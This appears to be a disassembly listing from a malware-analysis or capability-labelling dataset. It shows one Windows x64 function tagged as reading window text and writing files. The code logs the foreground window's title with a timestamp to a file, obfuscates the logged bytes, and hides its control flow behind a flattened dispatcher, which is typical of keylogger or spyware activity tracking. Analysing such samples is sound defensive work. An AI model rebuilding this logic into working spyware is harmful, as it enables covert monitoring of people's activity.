Function at 0x140001500
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2c8
movaps xmmword [rsp + 0x2b0], xmm6
lea r13, [rsp + 0x9c]
mov qword [rsp + 0x68], r13
mov rax, qword [rsp + 0x68]
mov rax, qword [rsp + 0x68]
mov dword [rax], 0xc4
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rsi, rax
lea rdi, [rsp + 0xa0]
mov qword [rsp + 0x70], rdi
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
mov r8d, 0x208
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [rsp + 0x50], rdi
mov rdx, qword [rsp + 0x50]
mov rcx, rsi
mov r8d, 0x100
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rdx, qword [rsp + 0x50]
lea rsi, [0x140035150]
mov r8d, 0x64
mov rcx, rsi
call sub.msvcrt.dll_wcsncmp
mov dword [rsp + 0x7c], eax
mov eax, 0x9a819157
lea rdi, [rsp + 0x90]
xorps xmm6, xmm6
mov rbp, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r14d, 0xbd06d354
cmp eax, 0x3b34d16a
jle 0x1400015f7
jmp 0x140001630
movsxd rax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x58]
mov dl, byte [rcx + rax]
mov ebx, edx
not bl
and bl, 0xce
and dl, 0x31
or dl, bl
mov byte [rcx + rax], dl
mov r12d, dword [rsp + 0x4c]
add r12d, 1
mov eax, 0x5f43522c
nop dword [rax]
cmp eax, 0x3b34d16a
jg 0x140001630
cmp eax, 0x9eb22719
jle 0x140001660
cmp eax, 0x9eb2271a
je 0x1400016de
cmp eax, 0xbd06d354
je 0x1400015c2
cmp eax, 0xbff8d512
jne 0x1400015f0
mov eax, 0x57d496d1
cmp eax, 0x3b34d16a
jle 0x1400015f7
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x5ec91f00
jg 0x1400016a0
cmp eax, 0x3b34d16b
je 0x140001744
cmp eax, 0x5ab617ac
je 0x140001810
cmp eax, 0x57d496d1
jne 0x1400015f0
jmp 0x1400018f3
cmp eax, 0x9a284e50
je 0x14000183c
cmp eax, 0x9a819157
jne 0x1400015f0
cmp dword [rsp + 0x7c], 0
mov eax, 0x9eb2271a
mov ecx, 0xbff8d512
cmove eax, ecx
cmp eax, 0x3b34d16a
jle 0x1400015f7
jmp 0x140001630
cmp eax, 0x5ec91f01
je 0x14000187a
cmp eax, 0x5f43522c
jne 0x1400015f0
mov dword [rsp + 0x4c], r12d
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x4c]
cmp ecx, eax
mov eax, 0x5ec91f01
cmovl eax, r14d
cmp eax, 0x3b34d16a
jle 0x1400015f7
jmp 0x140001630
mov qword [rsp + 0x80], rdi
mov rax, qword [rsp + 0x80]
xor r15d, r15d
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov qword [rsp + 0x90], rax
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__ctime64]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call sub.msvcrt.dll_strlen
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
add eax, 0xffffffff
cdqe
mov rcx, qword [rsp + 0x60]
mov byte [rcx + rax], 0x20
mov eax, 0x5ab617ac
cmp eax, 0x3b34d16a
jle 0x1400015f7
jmp 0x140001630
mov qword [rsp + 0x88], r13
mov rdx, qword [0x140035220]
mov rax, qword [rsp + 0x88]
movsx ecx, byte [rax]
call sub.msvcrt.dll_fputc
movsxd rdx, dword [rsp + 0x44]
mov r9, qword [0x140035220]
mov rcx, qword [rsp + 0x60]
mov r8d, 1
call sub.msvcrt.dll_fwrite
mov r8, qword [rsp + 0x50]
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r12d, r12d
mov ecx, 0xfde9
xor edx, edx
mov r9d, 0xffffffff
call rbp
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
add eax, 1
movsxd rcx, eax
call sub.msvcrt.dll_malloc
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rax], 0
mov r8, qword [rsp + 0x50]
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x58]
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov ecx, 0xfde9
xor edx, edx
mov r9d, 0xffffffff
call rbp
mov eax, 0x5f43522c
cmp eax, 0x3b34d16a
jle 0x1400015f7
jmp 0x140001630
mov dword [rsp + 0x48], r15d
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x48]
cmp ecx, eax
mov eax, 0x3b34d16b
mov ecx, 0x9a284e50
cmovl eax, ecx
cmp eax, 0x3b34d16a
jle 0x1400015f7
jmp 0x140001630
movsxd rax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
movzx edx, byte [rcx + rax]
mov ebx, edx
not bl
and bl, 0x41
and dl, 0xbe
or dl, bl
xor dl, 0x8f
mov byte [rcx + rax], dl
mov r15d, dword [rsp + 0x48]
add r15d, 1
mov eax, 0x5ab617ac
cmp eax, 0x3b34d16a
jle 0x1400015f7
jmp 0x140001630
movsxd rdx, dword [rsp + 0x40]
mov r9, qword [0x140035220]
mov rcx, qword [rsp + 0x58]
mov r8d, 1
call sub.msvcrt.dll_fwrite
mov rdx, qword [0x140035220]
mov rax, qword [rsp + 0x88]
movsx ecx, byte [rax]
call sub.msvcrt.dll_fputc
mov rcx, qword [0x140035220]
call sub.msvcrt.dll_fflush
mov rcx, qword [rsp + 0x58]
call fcn.1400170d8
mov rdx, qword [rsp + 0x50]
mov r8d, 0x64
mov rcx, rsi
call sub.msvcrt.dll_wcsncpy
mov rax, qword [rsp + 0x80]
mov eax, 0x57d496d1
cmp eax, 0x3b34d16a
jle 0x1400015f7
jmp 0x140001630
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x68]
movaps xmm6, xmmword [rsp + 0x2b0]
add rsp, 0x2c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret